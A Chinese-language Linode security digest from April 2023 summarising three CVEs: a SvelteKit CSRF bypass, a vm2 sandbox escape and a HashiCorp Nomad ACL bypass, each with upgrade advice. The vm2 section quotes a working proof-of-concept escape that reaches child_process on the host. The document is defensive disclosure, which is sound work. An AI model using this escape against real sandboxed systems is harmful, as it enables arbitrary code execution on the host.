跳到主要内容
博客安全问题Linode安全摘要 2023年4月10日至4月17日

2023年4月10日至4月17日Linode安全摘要

Linode安全摘要

在本周的文摘中,我们将讨论以下内容:

  • SvelteKit中的一个CSRF保护绕过;
  • vm2版本中的沙盒逃生;以及 
  • HashiCorp Nomad和Nomad Enterprise的一个未经认证的ACL授权绕过,导致特权升级。
cve-2023-29003:SvelteKit:使用Content-Type头绕过CSRF保护

背景介绍

SvelteKit 是一个使用Svelte JavaScript库构建Web应用程序的框架。它通过包括服务器端渲染、路由和基于文件的页面路由等功能,提供了一个简化的开发体验,开箱即用。

脆弱性

由于跨站请求伪造(CSRF)保护不足,该漏洞(CVE-2023-29003)影响到1.15.1以下的SvelteKit版本。在SvelteKit 1.15.1之前,CSRF保护在满足三个条件的情况下执行:(1)请求是一个POST,(2)网站起源和请求的起源HTTP头之间不匹配,(3)请求是否包含表单内容,由Content-Type Header "application/x-www-form-urlencoded" 或 "multipart/form-data" 表示。 

如果所有这些条件都满足,将发送一个403 Forbidden请求的响应。这种检查可以通过在请求中使用不同的内容类型来绕过,如 "text/plain"。

缓解

  • 该漏洞已在SvelteKit 1.15.1版本中得到解决。升级到最新版本是修复这个问题的推荐方法。
CVE-2023-29199: vm2:源代码转换器中的沙箱逃逸

背景介绍

vm2 是一个Node.js 模块,为以安全方式执行不受信任的代码提供了一个沙箱环境。它允许创建隔离的执行环境,攻击者可以在其中执行不受信任的代码,而不能访问全局环境或敏感数据。

脆弱性

漏洞依赖于vm2的源代码转换程序的净化逻辑中的一个异常。该漏洞允许攻击者绕过handleException()函数,并泄露未经消毒的主机异常,为攻击者逃脱沙盒并在主机环境中运行任意代码打开了大门。

GitHub用户leesh3288做了一个概念验证来利用这个漏洞,这表明代码在主机环境下是多么容易被执行:

const {VM} = require("vm2");
const vm = new VM();

const code = `
aVM2_INTERNAL_TMPNAME = {};
function stack() {
    new Error().stack;
    stack();
}
try {
    stack();
} catch (a$tmpname) {
    a$tmpname
        .constructor
        .constructor('return process')()
        .mainModule.require('child_process')
        .execSync('touch pwned');
}
`

console.log(vm.run(code));

缓解

  • 该漏洞已在vm2 3.9.16版本中解决。升级到最新版本是修复这个问题的推荐方法。
CVE-2023-1782: HashiCorp Nomad: 未经认证的 ACL 绕过特权升级

背景介绍

HashiCorp Nomad 是一个容器协调平台,使用户能够在各种环境中轻松部署和管理应用程序,包括数据中心、云和边缘位置。它提供了自动部署、扩展和自我修复等功能,以及对多种容器运行时间和调度算法的支持。

脆弱性

这个漏洞的具体细节不多。然而,根据研究人员的报告,只要在服务器上通过内部RPCs处理请求,未经认证的HTTP请求就可以绕过预定的ACL授权。这个漏洞影响到HashiCorp Nomad和HashiCorp Nomad Enterprise的1.5.0至1.5.2版本。

缓解

  • 这个漏洞可以通过在其主机集群上启用mTLS来补救。
  • 这个漏洞已经在HashiCorp Nomad 1.5.3版本中得到解决。升级到最新版本是修复这个问题的推荐方法。 

注释

留下回复

您的电子邮件地址将不会被公布。 必须填写的字段被标记为*